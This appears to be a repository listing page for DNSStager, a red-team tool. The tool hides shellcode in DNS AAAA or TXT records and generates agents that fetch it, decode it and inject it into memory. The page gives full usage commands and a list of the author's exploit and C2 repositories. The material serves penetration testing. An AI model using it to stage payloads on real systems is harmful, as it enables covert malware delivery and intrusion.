• Stars
    star
    599
  • Rank 72,317 (Top 2 %)
  • Language
    Python
  • License
    GNU General Publi...
  • Created about 3 years ago
  • Updated about 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Hide your payload in DNS

What is DNSStager?

DNSStager is an open-source project based on Python used to hide and transfer your payload using DNS.

DNSStager will create a malicious DNS server that handles DNS requests to your domain and return your payload as a response to specific record requests such as AAAA or TXT records after splitting it into chunks and encoding the payload using different algorithms.

DNSStager can generate a custom agent written in C or GoLang that will resolve a sequence of domains, retrieve the payload, decode it and finally inject it into the memory based on any technique you want.

You can edit the code of DNSStager agent as you wish, and build it using your own custom execution techniques.

The main goal of using DNSStager is to help red teamers/pentesters to deliver their payloads in stealthy channel using DNS.

How does it work?

Based on your DNS resolution option, DNSStager will split your payload into chunks and save each chunk of the payload as a response for a subdomain.

For example, if you choose IPV6 as your option to retrieve the payload, the DNS response will be something like:

cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52

Where 5648:31d2:6548:8b52:6048:8b52:1848:8b52 is a part of your payload.

So, the agent will resolve some domains to retrieve the payload and then decode it and finally inject it into memory.

Currently, DNSStager only supports two records, AAAA and TXT. You can encode your payload using XOR for the AAAA record and by default it will be encoded as base64 if you choose TXT record.

DNSStager key features:

DNSStager has some key features such as:

  • Hide and Resolve your payload in IPV6 records.
  • Hide and Resolve your payload in TXT records.
  • XOR encoder to encode your payload.
  • Base64 encoder to encode your payload (only for TXT records).
  • Pure agent written in C with the ability to customise it.
  • Pure agent written in GoLang with the ability to customise it.
  • The ability to use sleep between each DNS request.
  • AND MUCH MORE TO COME!

Requirements

You can install DNSStager python requirements via:

pip3 install -r requirements.txt

You need to install GoLang version 1.16.3 and to make sure to install the following GoLang packages:

  • golang.org/x/sys
  • github.com/miekg/dns

Also, make sure to install ming-w64 via:

apt install mingw-w64

The script setup.sh should do that for you, but double check the requirements before you use it!

Installation

To get the latest version of DNSStager, make sure to clone it from this repo using the following command:

git clone https://github.com/mhaskar/DNSStager

Then you need to install the requirements using the following command:

pip3 install -r requirements.txt

And make sure to install all the previously mentioned requirements too.

After doing all that, you are ready to execute DNSStager as root to get the following:

askarβ€’/opt/redteaming/DNSStager(main⚑)Β» sudo ./dnsstager.py                                                                                                                 

    
                                                                                          
                                                                                          
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ    β–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  
β–ˆβ–ˆ   β–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆ   β–ˆβ–ˆ β–ˆβ–ˆ      β–ˆβ–ˆ         β–ˆβ–ˆ    β–ˆβ–ˆ   β–ˆβ–ˆ β–ˆβ–ˆ       β–ˆβ–ˆ      β–ˆβ–ˆ   β–ˆβ–ˆ 
β–ˆβ–ˆ   β–ˆβ–ˆ β–ˆβ–ˆ β–ˆβ–ˆ  β–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ    β–ˆβ–ˆ    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  
β–ˆβ–ˆ   β–ˆβ–ˆ β–ˆβ–ˆ  β–ˆβ–ˆ β–ˆβ–ˆ      β–ˆβ–ˆ      β–ˆβ–ˆ    β–ˆβ–ˆ    β–ˆβ–ˆ   β–ˆβ–ˆ β–ˆβ–ˆ    β–ˆβ–ˆ β–ˆβ–ˆ      β–ˆβ–ˆ   β–ˆβ–ˆ 
β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ    β–ˆβ–ˆ    β–ˆβ–ˆ   β–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆ   β–ˆβ–ˆ 
                                                                            
                                                                                                                                                            
                                                                                              

    Stable v1.0                           Hide your payload in DNS
    
[-] Please specify a domain name using --domain

Usage

To start using DNSStager, make sure to setup your DNS settings first, you need to make your domain points to the DNSStager instance as NS record in order to handle all the DNS requests to your domain.

You can read this full article about how to setup and use DNSStager.

And you can check the options using -h switch like the following:

askarβ€’/opt/redteaming/DNSStager(main⚑)Β» sudo ./dnsstager.py -h                                                                                                         
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
                    [--format FORMAT]

DNSStager main parser

optional arguments:
  -h, --help            show this help message and exit
  --domain DOMAIN       The domain you want to use as staging host
  --payloads            show all payloads
  --prefix PREFIX       Prefix to use as part of your subdomain schema
  --payload PAYLOAD     Payload to use, see --payloads for more details
  --output OUTPUT       Agent output path
  --shellcode_path SHELLCODE_PATH
                        Shellcode file path
  --xorkey XORKEY       XOR key to encode your payload with
  --sleep SLEEP         sleep for N seconds between each DNS request
  --format FORMAT       payload format (.dll or .exe)
  --tcp                 Start and use the DNS server via TCP protocol
  • --domain: you can use this option to select the main domain you will use to handle the DNS requests for.

  • -- prefix: The prefix you want to use for the subdomain schema For example, if your main domain is fakedns.live you can specify the prefix as "cdn" for example, So the generate domains will be a a pattern as the following:

    • cdn0.fakedns.live
    • cdn1.fakedns.live
    • cdnN.fakedns.live

Where N is auto generated number represent the number of chunks of your payload.

  • --payload: the DNSStager payload "agent" you want to generate based on the technique, programming language and architecture.

  • --output: Output path to save DNSStager executable payload "agent".

  • --shellcode_path: Your raw/bin shellcode path.

  • --xorkey: XOR key to encode the payload with.

  • --sleep: Used to sleep for N seconds between each DNS request.

  • --tcp: Start and use the DNS server via TCP protocol

DNSStager Payloads

To check the available DNSStager payloads, you can use ./dnsstager.py --payloads to get the following results:

askarβ€’/opt/redteaming/DNSStager(main⚑)Β» sudo ./dnsstager.py --payloads                                                                                                

[+] 6 DNSStager payloads Available

x64/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code

Example of using DNSStager with IPV6

This example will start DNSStager to resolve your payload as IPV6 using the domain test.mydnsserver.live with prefix cloud-srv- to generate compiled x64 C agent encoded with 0x10 as key:

sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10

And the output will be:

Alt text

And to check if everything is working well, lets send DNS query to cloud-srv-0.test.mydnsserver.live to get the following:

Alt text

We can see that we received f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b as response which is the first 16 bytes of our encoded payload.

Then you can execute the agent /tmp/a2.exe (as set in using --output in the comand line) on the target machine and that will download all of the chunks required, decode them and inject them into memory for you.

Resources

License

This project is licensed under the GPL-3.0 License - see the LICENSE file for details

More Repositories

1

Octopus

Open source pre-operation C2 server based on python and powershell
Python
716
star
2

RCEScanner

Simple python script to extract unsafe functions from php projects
Python
195
star
3

ExchangeFinder

Find Microsoft Exchange instance for a given domain and identify the exact version
Python
188
star
4

XMLDecoder-payload-generator

A simple python script to generate XML payloads works for XMLDecoder based on ProcessBuilder and Runtime exec
Python
147
star
5

Bughound

Static code analysis tool based on Elasticsearch
Python
127
star
6

Shellcode-In-Memory-Decoder

A simple C implementation to decoded your shellcode and writes it directly to memory
C
94
star
7

CVE-2020-8813

The official exploit for Cacti v1.2.8 Remote Code Execution CVE-2020-8813
Python
68
star
8

shellcode-process-injection

Simple C implementation to perform shellcode process injection via win32 APIs
C
60
star
9

XSSRadare

A Cross Site Scripting scanner using selenium webdriver
Python
55
star
10

Blinder

A python library to automate time-based blind SQL injection
Python
47
star
11

DNSKeyGen

A tool to exchange decryption keys for command and control (C2) beacons and implants through DNS records.
Python
37
star
12

MalleableC2-Profiles

A collection of Cobalt Strike Malleable C2 profiles
34
star
13

CVE-2020-14947

The official exploit for OCS Inventory NG v2.7 Remote Command Execution CVE-2020-14947
Python
19
star
14

CVE-2020-12078

The official exploit for Open-AudIT v3.3.1 Remote Code Execution CVE-2020-12078
Python
19
star
15

Octopus-C2-RedTeam-infrastructure-automation

Python
19
star
16

HTTPFuzzer

HTTPFuzzer is a simple python script to perform multiple fuzzing techniques for HTTP protocol
Python
15
star
17

CVE-2019-20224

The offical exploit for Pandora v7.0NG Post-auth Remote Code Execution CVE-2019-20224
Python
15
star
18

CVE-2019-16662

The official exploit for rConfig 3.9.2 Pre-auth Remote Code Execution CVE-2019-16662
Python
13
star
19

CVE-2019-13024

The official exploit code for Centreon v19.04 Remote Code Execution CVE-2019-13024
Python
12
star
20

Linux-Root-Kit

Simple Linux RootKit written in python
Python
11
star
21

CVE-2018-20434

The official exploit code for LibreNMS v1.46 Remote Code Execution CVE-2018-20434
Python
10
star
22

CVE-2019-15029

The official exploit code for FusionPBX v4.4.8 Remote Code Execution CVE-2019-15029
Ruby
8
star
23

CVE-2019-16663

The official exploit for rConfig 3.9.2 Post-auth Remote Code Execution CVE-2019-16663
Python
7
star
24

BlindSQLinjectionExploit

Python
5
star
25

powershell-extractor-elasticsearch

Python script to extract powershell scrips from elasticsearch based on windows event "4104"
Python
5
star
26

CVE-2023-0315

The official exploit for Froxlor Remote Code Execution CVE-2023-0315
Python
5
star
27

shellcodes

C
4
star
28

wifi-jammer

Python automated wifi jammer
Python
3
star
29

Stuff

Python
2
star
30

auto_sniffer

Python
2
star
31

python_Backdoor

Python
2
star
32

audio_injector

python script to inject audio file to images and extract it
Python
1
star
33

stem_finder

Python
1
star
34

transposition-cipher

Python
1
star
35

MicrosoftDCFTokenRequester

Simple and lazy script to request tokens from Microsoft using Device Code Flow
Python
1
star